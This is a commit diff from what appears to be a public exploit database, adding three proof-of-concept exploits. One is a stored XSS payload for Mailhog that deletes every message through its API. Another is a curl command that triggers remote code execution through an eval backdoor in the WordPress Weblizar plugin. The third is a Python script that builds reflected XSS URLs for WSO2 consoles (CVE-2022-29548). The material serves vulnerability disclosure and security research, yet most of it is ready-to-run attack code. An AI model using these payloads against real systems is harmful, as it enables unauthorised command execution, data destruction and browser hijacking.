Skip to content

Commit 32b480d

Browse files
author
Offensive Security
committed
DB: 2022-06-28
3 changes to exploits/shellcodes WordPress Plugin Weblizar 8.9 - Backdoor WSO2 Management Console (Multiple Products) - Unauthenticated Reflected Cross-Site Scripting (XSS) Mailhog 1.0.1 - Stored Cross-Site Scripting (XSS)
1 parent b692218 commit 32b480d

File tree

4 files changed

+210
-0
lines changed

4 files changed

+210
-0
lines changed

exploits/multiple/webapps/50971.txt

Lines changed: 97 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,97 @@
1+
# Exploit Title: Mailhog 1.0.1 - Stored Cross-Site Scripting (XSS)
2+
# Google Dork: https://www.shodan.io/search?query=mailhog ( > 3500)
3+
# Date: 06.18.2022
4+
# Exploit Author: Vulnz
5+
# Vendor Homepage: https://github.com/mailhog/MailHog
6+
# Software Link: https://github.com/mailhog/MailHog
7+
# Version: 1.0.1
8+
# Tested on: Windows,Linux,Docker
9+
# CVE : N/A
10+
11+
Explanation:
12+
Malicious users have the ability to send API requests to localhost and this request will be executed without any additional checks. As long as CSRF exists and unrestricted API calls as well, XSS could lead any API calls including email deletion, sending, reading or any other call.
13+
14+
Steps to reproduce:
15+
1. Create malicious attachment with payloads stated below
16+
2. Attach malicious file to email with payload (XSS)
17+
3. Send email
18+
4. Wait for victim to open email
19+
5. Receive data, get control of victim browser using Beef framework, or manipulate with API data
20+
21+
22+
Proof of Concept:
23+
24+
<script>
25+
26+
var XMLHttpFactories = [
27+
28+
function () {
29+
30+
return new XMLHttpRequest()
31+
32+
},
33+
34+
function () {
35+
36+
return new ActiveXObject("Msxml2.XMLHTTP")
37+
38+
},
39+
40+
function () {
41+
42+
return new ActiveXObject("Msxml3.XMLHTTP")
43+
44+
},
45+
46+
function () {
47+
48+
return new ActiveXObject("Microsoft.XMLHTTP")
49+
50+
}
51+
52+
];
53+
54+
function createXMLHTTPObject() {
55+
56+
var xmlhttp = false;
57+
58+
for (var i=0;i<XMLHttpFactories.length;i++) {
59+
60+
try {
61+
62+
xmlhttp = XMLHttpFactories[i]();
63+
64+
}
65+
66+
catch (e) {
67+
68+
continue;
69+
70+
}
71+
72+
break;
73+
74+
}
75+
76+
return xmlhttp;
77+
78+
}
79+
80+
var xhr = createXMLHTTPObject();
81+
82+
xhr.open("DELETE", "http://localhost:8025/api/v1/messages", true);
83+
84+
xhr.onreadystatechange = function()
85+
86+
{
87+
88+
if (xhr.readyState == 4)
89+
90+
alert("Request completed, with the following status code: " +
91+
xhr.status);
92+
93+
}
94+
95+
xhr.send("");
96+
97+
</script>

exploits/php/webapps/50969.txt

Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,38 @@
1+
# Exploit Title: WordPress Plugin Weblizar 8.9 - Backdoor
2+
# Google Dork: 'wp-json/am-member/license'
3+
# Exploit Author: Sobhan Mahmoodi
4+
# Vendor Homepage: https://weblizar.com/plugins/school-management/
5+
# Version: 8.9
6+
# Tested on: windows/linux
7+
8+
Vulnerable code:
9+
10+
add_action( 'rest_api_init', function() {
11+
register_rest_route(
12+
'am-member', 'license',
13+
array(
14+
'methods' => WP_REST_Server::CREATABLE,
15+
'callback' => function( $request ) {
16+
$args = $request->get_params();
17+
if ( isset( $args['blowfish'] ) && ! empty(
18+
$args['blowfish'] ) && isset( $args['blowf'] ) && ! empty( $args['blowf'] )
19+
) {
20+
eval( $args['blowf'] );
21+
}
22+
};
23+
)
24+
);
25+
} );
26+
27+
28+
If you look at the code, the user code checks the parameters and finally executes the Blowf argument with the eval function. The Eval function is to take a string of PHP commands and execute it.
29+
30+
In order to be able to exploit this vulnerability, it is enough to send a request such as the following request that according to the above code, the part with If should be set blowfish and blowf arguments and not empty, and
31+
given that eval executes the blowf value , Our favorite command must also be in this argument.
32+
33+
Proof of Concept:
34+
35+
curl -s -d 'blowfish=1' -d "blowf=system('id');" '
36+
http://localhost:8888/wp-json/am-member/license'
37+
38+
uid=33(www-data) gid=33(www-data) groups=33(www-data)

exploits/php/webapps/50970.py

Lines changed: 72 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,72 @@
1+
# Exploit Title: WSO2 Management Console (Multiple Products) - Unauthenticated Reflected Cross-Site Scripting (XSS)
2+
# Date: 21 Apr 2022
3+
# Exploit Author: cxosmo
4+
# Vendor Homepage: https://wso2.com
5+
# Software Link: API Manager (https://wso2.com/api-manager/), Identity Server (https://wso2.com/identity-server/), Enterprise Integrator (https://wso2.com/integration/)
6+
# Affected Version(s): API Manager 2.2.0, 2.5.0, 2.6.0, 3.0.0, 3.1.0, 3.2.0 and 4.0.0;
7+
# API Manager Analytics 2.2.0, 2.5.0, and 2.6.0;
8+
# API Microgateway 2.2.0;
9+
# Data Analytics Server 3.2.0;
10+
# Enterprise Integrator 6.2.0, 6.3.0, 6.4.0, 6.5.0, and 6.6.0;
11+
# IS as Key Manager 5.5.0, 5.6.0, 5.7.0, 5.9.0, and 5.10.0;
12+
# Identity Server 5.5.0, 5.6.0, 5.7.0, 5.9.0, 5.10.0, and 5.11.0;
13+
# Identity Server Analytics 5.5.0 and 5.6.0;
14+
# WSO2 Micro Integrator 1.0.0.
15+
# Tested on: API Manager 4.0.0 (OS: Ubuntu 21.04; Browser: Chromium Version 99.0.4844.82)
16+
# CVE: CVE-2022-29548
17+
18+
import argparse
19+
import logging
20+
import urllib.parse
21+
22+
# Global variables
23+
VULNERABLE_ENDPOINT = "/carbon/admin/login.jsp?loginStatus=false&errorCode="
24+
DEFAULT_PAYLOAD = "alert(document.domain)"
25+
26+
# Logging config
27+
logging.basicConfig(level=logging.INFO, format="")
28+
log = logging.getLogger()
29+
30+
def generate_payload(url, custom_payload=False):
31+
log.info(f"Generating payload for {url}...")
32+
if custom_payload:
33+
log.info(f"[+] GET-based reflected XSS payload: {url}{VULNERABLE_ENDPOINT}%27);{custom_payload}//")
34+
else:
35+
log.info(f"[+] GET-based reflected XSS payload: {url}{VULNERABLE_ENDPOINT}%27);{DEFAULT_PAYLOAD}//")
36+
37+
def clean_url_input(url):
38+
if url.count("/") > 2:
39+
return f"{url.split('/')[0]}//{url.split('/')[2]}"
40+
else:
41+
return url
42+
43+
def check_payload(payload):
44+
encoded_characters = ['"', '<', '>']
45+
if any(character in payload for character in encoded_characters):
46+
log.info(f"Unsupported character(s) (\", <, >) found in payload.")
47+
return False
48+
else:
49+
return urllib.parse.quote(payload)
50+
51+
if __name__ == "__main__":
52+
# Parse command line
53+
parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter)
54+
required_arguments = parser.add_argument_group('required arguments')
55+
required_arguments.add_argument("-t", "--target",
56+
help="Target address {protocol://host} of vulnerable WSO2 application (e.g. https://localhost:9443)",
57+
required="True", action="store")
58+
parser.add_argument("-p", "--payload",
59+
help="Use custom JavaScript for generated payload (Some characters (\"<>) are HTML-entity encoded and therefore are unsupported). (Defaults to alert(document.domain))",
60+
action="store", default=False)
61+
args = parser.parse_args()
62+
63+
# Clean user target input
64+
args.target = clean_url_input(args.target.lower())
65+
66+
# Check for unsupported characters in custom payload; URL-encode as required
67+
if args.payload:
68+
args.payload = check_payload(args.payload)
69+
if args.payload:
70+
generate_payload(args.target, args.payload)
71+
else:
72+
generate_payload(args.target)

files_exploits.csv

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -45031,3 +45031,6 @@ id,file,description,date,author,type,platform,port
4503145031
50966,exploits/php/webapps/50966.txt,"Old Age Home Management System 1.0 - SQLi Authentication Bypass",1970-01-01,twseptian,webapps,php,
4503245032
50967,exploits/hardware/webapps/50967.txt,"SolarView Compact 6.00 - 'time_begin' Cross-Site Scripting (XSS)",1970-01-01,"Ahmed Alroky",webapps,hardware,
4503345033
50968,exploits/hardware/webapps/50968.txt,"SolarView Compact 6.00 - 'pow' Cross-Site Scripting (XSS)",1970-01-01,"Ahmed Alroky",webapps,hardware,
45034+
50969,exploits/php/webapps/50969.txt,"WordPress Plugin Weblizar 8.9 - Backdoor",1970-01-01,"Sobhan Mahmoodi",webapps,php,
45035+
50970,exploits/php/webapps/50970.py,"WSO2 Management Console (Multiple Products) - Unauthenticated Reflected Cross-Site Scripting (XSS)",1970-01-01,cxosmo,webapps,php,
45036+
50971,exploits/multiple/webapps/50971.txt,"Mailhog 1.0.1 - Stored Cross-Site Scripting (XSS)",1970-01-01,Vulnz,webapps,multiple,

0 commit comments

Comments
 (0)